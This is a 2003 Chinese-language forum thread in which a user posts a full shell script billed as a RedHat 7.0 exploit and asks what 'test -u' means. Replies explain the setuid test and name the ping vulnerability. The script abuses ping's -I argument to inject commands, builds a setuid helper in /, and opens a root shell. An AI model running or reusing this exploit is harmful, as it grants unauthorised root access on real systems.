免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1173 | 回复: 3
打印 上一主题 下一主题

看一段代码,对其中一行很不理解 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-06-18 15:19 |只看该作者 |倒序浏览
看一段代码,对其中一行很不理解test -u

  #!/bin/sh
echo
echo "RedHat 7.0  exploit"
echo "(c) 2000 suneagle "
echo
echo "Enjoy hacking! "
echo

PING=/bin/ping
test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then
  echo "Sorry, no setuid ping."
  exit 0
fi

echo "hase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

sleep 1

echo "hase 2: compiling helper program in /..."

cat >/x.c <<_eof_
main() {
  setuid(0); seteuid(0);
  system("chmod 755 /;rm -f /x; rm -f /x.c";
  execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x

echo "hase 3: chown+chmod on our helper program..."

$PING -I ';chown 0 x' 202.102.3.1 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 202.101.23.1 &>/dev/null
sleep 1

if [ ! -u /x ]; then
  echo "Apparently, this is not exploitable on this system "
  exit 1
fi

echo "Ye! Entering rootshell..."

/x

echo "Thank you."

论坛徽章:
0
2 [报告]
发表于 2003-06-18 16:01 |只看该作者

看一段代码,对其中一行很不理解

-u FileName Returns a True exit value if the specified FileName exists and its Set User ID bit is set.

论坛徽章:
0
3 [报告]
发表于 2003-06-18 17:14 |只看该作者

看一段代码,对其中一行很不理解

PING=/bin/ping
test -u $PING || PING=/bin/ping

这样写不是"不管/bin/ping变量是否设置了设置用户id位PING的值都是/bin/ping"了吗?你以哪儿看的代码啊?有不没有抄错?

论坛徽章:
0
4 [报告]
发表于 2003-06-19 08:29 |只看该作者

看一段代码,对其中一行很不理解

永远的UNIX上大鹰的PING漏洞的文章.安全版应该也有吧
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP